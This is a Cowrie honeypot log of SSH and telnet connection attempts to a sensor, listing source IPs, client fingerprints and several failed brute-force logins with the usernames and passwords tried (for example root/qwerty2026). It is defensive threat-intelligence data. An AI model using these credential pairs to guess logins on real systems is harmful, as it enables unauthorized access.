{"eventid":"cowrie.session.connect","src_ip":"103.228.69.212","src_port":47420,"dst_ip":"10.17.0.5","dst_port":22,"session":"a9fa91acd6ce","protocol":"ssh","message":"New connection: 103.228.69.212:47420 (10.17.0.5:22) [session: a9fa91acd6ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:45:46.462417Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:45:46.467930Z","src_ip":"103.228.69.212","session":"a9fa91acd6ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:45:46.707033Z","src_ip":"103.228.69.212","session":"a9fa91acd6ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qf123456@","message":"login attempt [root/Qf123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:45:47.679963Z","src_ip":"103.228.69.212","session":"a9fa91acd6ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:45:48.917871Z","src_ip":"103.228.69.212","session":"a9fa91acd6ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":46592,"dst_ip":"159.203.135.109","dst_port":23,"session":"b38a9648ba31","protocol":"telnet","message":"New connection: 37.187.24.227:46592 (159.203.135.109:23) [session: b38a9648ba31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:46:16.217645Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":43972,"dst_ip":"159.203.135.109","dst_port":23,"session":"7b47fb77d163","protocol":"telnet","message":"New connection: 147.135.136.77:43972 (159.203.135.109:23) [session: 7b47fb77d163]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:46:25.623205Z"}
{"eventid":"cowrie.session.connect","src_ip":"36.92.140.209","src_port":37410,"dst_ip":"159.203.135.109","dst_port":22,"session":"f127f22641e5","protocol":"ssh","message":"New connection: 36.92.140.209:37410 (159.203.135.109:22) [session: f127f22641e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:46:29.639211Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:46:29.643733Z","src_ip":"36.92.140.209","session":"f127f22641e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:46:29.910796Z","src_ip":"36.92.140.209","session":"f127f22641e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty2026","message":"login attempt [root/qwerty2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:46:31.012076Z","src_ip":"36.92.140.209","session":"f127f22641e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:46:32.281839Z","src_ip":"36.92.140.209","session":"f127f22641e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":55730,"dst_ip":"159.203.135.109","dst_port":23,"session":"baa67ab11ff1","protocol":"telnet","message":"New connection: 37.187.24.227:55730 (159.203.135.109:23) [session: baa67ab11ff1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:46:34.192612Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":35794,"dst_ip":"159.203.135.109","dst_port":23,"session":"5e72e671b1c9","protocol":"telnet","message":"New connection: 147.135.136.77:35794 (159.203.135.109:23) [session: 5e72e671b1c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:46:38.215881Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.228.69.212","src_port":36010,"dst_ip":"10.17.0.5","dst_port":22,"session":"2f3e4d802235","protocol":"ssh","message":"New connection: 103.228.69.212:36010 (10.17.0.5:22) [session: 2f3e4d802235]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:46:42.434951Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:46:42.439745Z","src_ip":"103.228.69.212","session":"2f3e4d802235","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:46:42.667870Z","src_ip":"103.228.69.212","session":"2f3e4d802235","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sysadmin","password":"admin123","message":"login attempt [sysadmin/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:46:43.614072Z","src_ip":"103.228.69.212","session":"2f3e4d802235","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:46:44.844390Z","src_ip":"103.228.69.212","session":"2f3e4d802235","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.852426528930664,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:46:47.069935Z","src_ip":"37.187.24.227","session":"b38a9648ba31","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":56084,"dst_ip":"159.203.135.109","dst_port":23,"session":"f83abe779563","protocol":"telnet","message":"New connection: 37.187.24.227:56084 (159.203.135.109:23) [session: f83abe779563]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:46:48.196480Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":60218,"dst_ip":"159.203.135.109","dst_port":23,"session":"74e015b4135b","protocol":"telnet","message":"New connection: 37.187.24.227:60218 (159.203.135.109:23) [session: 74e015b4135b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:46:50.210269Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":38618,"dst_ip":"159.203.135.109","dst_port":23,"session":"88f89cc637b1","protocol":"telnet","message":"New connection: 37.187.24.227:38618 (159.203.135.109:23) [session: 88f89cc637b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:46:53.381108Z"}
{"eventid":"cowrie.session.closed","duration":30.666220903396606,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:46:56.289284Z","src_ip":"147.135.136.77","session":"7b47fb77d163","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"187.16.96.250","src_port":35888,"dst_ip":"159.203.135.109","dst_port":22,"session":"983ea33d5885","protocol":"ssh","message":"New connection: 187.16.96.250:35888 (159.203.135.109:22) [session: 983ea33d5885]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:46:59.306252Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:46:59.311250Z","src_ip":"187.16.96.250","session":"983ea33d5885","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":46698,"dst_ip":"159.203.135.109","dst_port":23,"session":"8b3ec5b2974b","protocol":"telnet","message":"New connection: 147.135.136.77:46698 (159.203.135.109:23) [session: 8b3ec5b2974b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:46:59.338999Z"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:46:59.428499Z","src_ip":"187.16.96.250","session":"983ea33d5885","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mcserver","password":"mcserver","message":"login attempt [mcserver/mcserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:46:59.944807Z","src_ip":"187.16.96.250","session":"983ea33d5885","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:47:01.068917Z","src_ip":"187.16.96.250","session":"983ea33d5885","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.85135293006897,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:47:05.043859Z","src_ip":"37.187.24.227","session":"baa67ab11ff1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":59480,"dst_ip":"159.203.135.109","dst_port":23,"session":"dcc3a2c79ccc","protocol":"telnet","message":"New connection: 147.135.136.77:59480 (159.203.135.109:23) [session: dcc3a2c79ccc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:47:06.328456Z"}
{"eventid":"cowrie.session.closed","duration":31.05727219581604,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:47:09.273060Z","src_ip":"147.135.136.77","session":"5e72e671b1c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":59488,"dst_ip":"159.203.135.109","dst_port":23,"session":"d44424982bac","protocol":"telnet","message":"New connection: 147.135.136.77:59488 (159.203.135.109:23) [session: d44424982bac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:47:14.995755Z"}
{"eventid":"cowrie.session.closed","duration":30.985002517700195,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:47:19.181365Z","src_ip":"37.187.24.227","session":"f83abe779563","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":47440,"dst_ip":"159.203.135.109","dst_port":23,"session":"072e3dada3e6","protocol":"telnet","message":"New connection: 147.135.136.77:47440 (159.203.135.109:23) [session: 072e3dada3e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:47:19.331838Z"}
{"eventid":"cowrie.session.closed","duration":30.887244939804077,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:47:21.097369Z","src_ip":"37.187.24.227","session":"74e015b4135b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":47452,"dst_ip":"159.203.135.109","dst_port":23,"session":"983d989dccb7","protocol":"telnet","message":"New connection: 147.135.136.77:47452 (159.203.135.109:23) [session: 983d989dccb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:47:21.844610Z"}
{"eventid":"cowrie.session.closed","duration":30.667076587677002,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:47:24.047989Z","src_ip":"37.187.24.227","session":"88f89cc637b1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"36.92.140.209","src_port":45750,"dst_ip":"159.203.135.109","dst_port":22,"session":"1a7aaecdd7cf","protocol":"ssh","message":"New connection: 36.92.140.209:45750 (159.203.135.109:22) [session: 1a7aaecdd7cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:47:28.367856Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:47:28.372314Z","src_ip":"36.92.140.209","session":"1a7aaecdd7cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:47:28.653169Z","src_ip":"36.92.140.209","session":"1a7aaecdd7cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"pass","message":"login attempt [ftpuser/pass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:47:29.808755Z","src_ip":"36.92.140.209","session":"1a7aaecdd7cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.979020357131958,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:47:30.317912Z","src_ip":"147.135.136.77","session":"8b3ec5b2974b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:47:31.092456Z","src_ip":"36.92.140.209","session":"1a7aaecdd7cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":48438,"dst_ip":"159.203.135.109","dst_port":23,"session":"25fde9fa61f6","protocol":"telnet","message":"New connection: 147.135.136.77:48438 (159.203.135.109:23) [session: 25fde9fa61f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:47:33.516050Z"}
{"eventid":"cowrie.session.closed","duration":30.72925066947937,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:47:37.057576Z","src_ip":"147.135.136.77","session":"dcc3a2c79ccc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":33272,"dst_ip":"159.203.135.109","dst_port":23,"session":"bd544683eb1c","protocol":"telnet","message":"New connection: 147.135.136.77:33272 (159.203.135.109:23) [session: bd544683eb1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:47:37.612437Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.228.69.212","src_port":52824,"dst_ip":"10.17.0.5","dst_port":22,"session":"4ad2da1db7b9","protocol":"ssh","message":"New connection: 103.228.69.212:52824 (10.17.0.5:22) [session: 4ad2da1db7b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:47:38.158888Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:47:38.163393Z","src_ip":"103.228.69.212","session":"4ad2da1db7b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:47:38.391073Z","src_ip":"103.228.69.212","session":"4ad2da1db7b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe1","message":"login attempt [root/qwe1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:47:39.332996Z","src_ip":"103.228.69.212","session":"4ad2da1db7b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:47:40.564569Z","src_ip":"103.228.69.212","session":"4ad2da1db7b9","protocol":"ssh"}
